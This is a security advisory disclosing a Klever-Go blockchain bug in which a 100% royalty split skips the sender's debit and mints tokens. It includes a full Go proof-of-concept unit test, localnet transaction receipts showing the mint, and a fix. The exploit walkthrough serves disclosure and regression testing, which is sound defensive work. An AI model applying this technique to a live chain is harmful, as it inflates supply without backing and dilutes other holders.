CVE-2026-55763: Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits

Summary In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code - core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test TestExploitPercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

<details><summary>Full Go PoC (<code>core/kapp/accounts</code> package, passes = mint confirmed)</summary>

go package accounts

import ( "bytes" "encoding/hex" "testing"

"github.com/stretchr/testify/require"

commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" integrationMock "github.com/klever-io/klever-go/integrationTest/mock" "github.com/klever-io/klever-go/kapps" kvmStub "github.com/klever-io/klever-go/kvm/mock/stub" )

// TestExploitPercentRoyaltyZeroDebit proves the zero-debit mint: // processPercentageRoyaltiesTransfer credits the split recipient // inside the loop, then hits if royaltiesToPay <= 0 { return Ok } BEFORE the // sender's acntSrc.SubFromBalance(royaltyAmount, ...). A single VALID split // entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay // to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays // nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case // (which does NOT early-return) confirms the debit fires and value is conserved. func TestExploitPercentRoyaltyZeroDebit(t testing.T) { const ( assetIDStr = "FUNGI-1234" transferValue = int64(800) royaltyRatePct = uint32(500) // 5% royaltyAmount = int64(40) // 800 5% = 40 )

assetID := []byte(assetIDStr)

// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty // path is not short-circuited by core.IsSmartContractAddress. senderAddr := bytes.Repeat([]byte{0x11}, 32) // Split recipient address must be a valid hex string (computeSplitRoyalties // hex-decodes the map key). recipientAddr := bytes.Repeat([]byte{0x22}, 32) recipientKey := hex.EncodeToString(recipientAddr) royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

buildKDA := func(splitPercent uint32) kapps.KDAData { return &kapps.KDAData{ AssetType: kapps.KDADataFungible, OwnerAddress: senderAddr, Royalties: &kapps.RoyaltiesData{ Address: royaltyReceiverAddr, TransferPercentage: []kapps.RoyaltyData{ {Amount: 1000, Percentage: royaltyRatePct}, }, SplitRoyalties: map[string]kapps.RoyaltySplitData{ recipientKey: {PercentTransferPercentage: splitPercent}, }, }, } }

type runResult struct { subFromCalls int subFromAmount int64 addToRecipient int64 addToOwnerRem int64 resCode transaction.TransactionTXResultCode err error }

run := func(t testing.T, splitPercent uint32) runResult { t.Helper()

res := runResult{}

// Sender: track whether/what the royalty debit hits. Holds plenty of the asset. acntSrc := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return senderAddr }, GetBalanceCalled: func( []byte, bool) int64 { return 1000000 }, SubFromBalanceCalled: func(value int64, []byte, bool, ...kapps.UserKDA) error { res.subFromCalls++ res.subFromAmount += value return nil }, }

// Destination is irrelevant to the royalty pool accounting here. acntDst := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, }

// Split recipient: capture the credit it receives. splitRecipient := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return recipientAddr }, AddToBalanceCalled: func(value int64, []byte, bool, ...kapps.UserKDA) error { res.addToRecipient += value return nil }, }

// Owner-remainder receiver (only credited when the path does NOT early-return). royaltyReceiver := &commonMock.UserAccountHandlerStub{ AddressBytesCalled: func() []byte { return royaltyReceiverAddr }, AddToBalanceCalled: func(value int64, []byte, bool, ...kapps.UserKDA) error { res.addToOwnerRem += value return nil }, }

cacher := &commonMock.AccountsCacherStub{ LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) { if bytes.Equal(address, recipientAddr) { return splitRecipient, nil } if bytes.Equal(address, royaltyReceiverAddr) { return royaltyReceiver, nil } return acntSrc, nil }, GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) { return royaltyReceiver, nil }, UpdateUserCalled: func( state.AccountHandler) error { return nil }, }

// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts // (overflow-checked percentage math), and FixMarketBuyOverflow so the // fix-branch payout guard splitToPay > royaltiesToPay is ACTIVE. fc := &integrationMock.ForkControllerStub{ KdaFprCalled: func() bool { return true }, EnableSmartContractsCalled: func() bool { return true }, FixMarketBuyOverflowCalled: func() bool { return true }, }

kappController := &kvmStub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return kapp.NewKappContext(kapp.ArgsNewKAppContext{ OriginalSender: senderAddr, ContractID: 0, ContractType: transaction.TXContractTransferContractType, Block: &block.Block{}, }) }, }

a := &accountsKapp{ accountsCacher: cacher, forkController: fc, KAppController: kappController, }

tc := &transaction.TransferContract{ Amount: transferValue, KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429) }

kda := buildKDA(splitPercent)

res.resCode, res.err = a.processPercentageRoyaltiesTransfer( tc, assetID, nil, acntSrc, acntDst, kda, ) return res }

// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ---- t.Run("split100pctmints", func(t testing.T) { r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

require.NoError(t, r.err) require.Equal(t, transaction.TransactionOk, r.resCode)

credited := r.addToRecipient debited := r.subFromAmount mintDelta := credited - debited

t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited) t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls) t.Logf("[100%% case] sender royalty amount debited = %d", debited) t.Logf("[100%% case] owner-remainder credited = %d", r.addToOwnerRem) t.Logf("[100%% case] MINT delta (credited - debited) = %d", mintDelta)

// (1) split recipient WAS credited the full royaltyAmount (> 0). require.Equal(t, royaltyAmount, credited, "split recipient must receive the full royalty pool") require.Greater(t, credited, int64(0))

// (2) the sender's royalty debit was NEVER called -> value created. require.Equal(t, 0, r.subFromCalls, "BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return") require.Equal(t, int64(0), debited)

// credited > debited => mint of royaltyAmount. require.Equal(t, royaltyAmount, mintDelta, "fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)", mintDelta, assetIDStr) })

// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ---- t.Run("split50pctconserves", func(t testing.T) { r := run(t, core.HundredPercent/2) // 5000 == 50%

require.NoError(t, r.err) require.Equal(t, transaction.TransactionOk, r.resCode)

credited := r.addToRecipient + r.addToOwnerRem debited := r.subFromAmount

t.Logf("[50%% case] split recipient credited = %d", r.addToRecipient) t.Logf("[50%% case] owner-remainder credited = %d", r.addToOwnerRem) t.Logf("[50%% case] total credited = %d", credited) t.Logf("[50%% case] sender royalty-debit calls = %d", r.subFromCalls) t.Logf("[50%% case] sender royalty amount debited = %d", debited) t.Logf("[50%% case] net (credited - debited) = %d (0 => conserved)", credited-debited)

// Sender IS debited the full royalty pool exactly once. require.Equal(t, 1, r.subFromCalls, "sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs") require.Equal(t, royaltyAmount, debited)

// Split (20) + owner remainder (20) == debited (40): value conserved. require.Equal(t, royaltyAmount/2, r.addToRecipient) require.Equal(t, royaltyAmount/2, r.addToOwnerRem) require.Equal(t, debited, credited, "50%% case conserves: total credited == debited") }) } </details>

On-chain reproduction (live single-node localnet) Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

<details><summary>Create tx — <code>F07-3NG3</code>, 10% transfer royalty + single 100% split to <code>R</code> (hash <code>ec2a8e8d…af12bc7f</code>)</summary>

json { "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f", "blockNum": 104, "status": "success", "resultCode": "Ok", "chainID": "420420", "contract": [ { "type": 1, "typeString": "CreateAssetContractType", "parameter": { "type": "Fungible", "name": "Finding07", "ticker": "F07", "precision": 6, "initialSupply": 1000000000000, "maxSupply": 0, "royalties": { "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "transferPercentage": [ { "percentage": 1000 } ], "splitRoyalties": [ { "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "percentTransferPercentage": 10000 } ] } } } ] } </details>

<details><summary>Transfer tx — royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary>

json { "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1", "blockNum": 120, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F07-3NG3", "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 10000000000 }, { "assetId": "F07-3NG3", "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa", "type": 0, "typeString": "Transfer", "value": 100000000000 } ], "contract": [ { "type": 0, "typeString": "TransferContractType", "parameter": { "assetId": "F07-3NG3", "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa", "amount": 100000000000, "kdaRoyalties": 10000000000 } } ] } </details>

Remediation Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer: go err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...) // debit FIRST // ... then the split loop and if royaltiesToPay <= 0 { return Ok } (now only skips a zero owner-remainder) Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.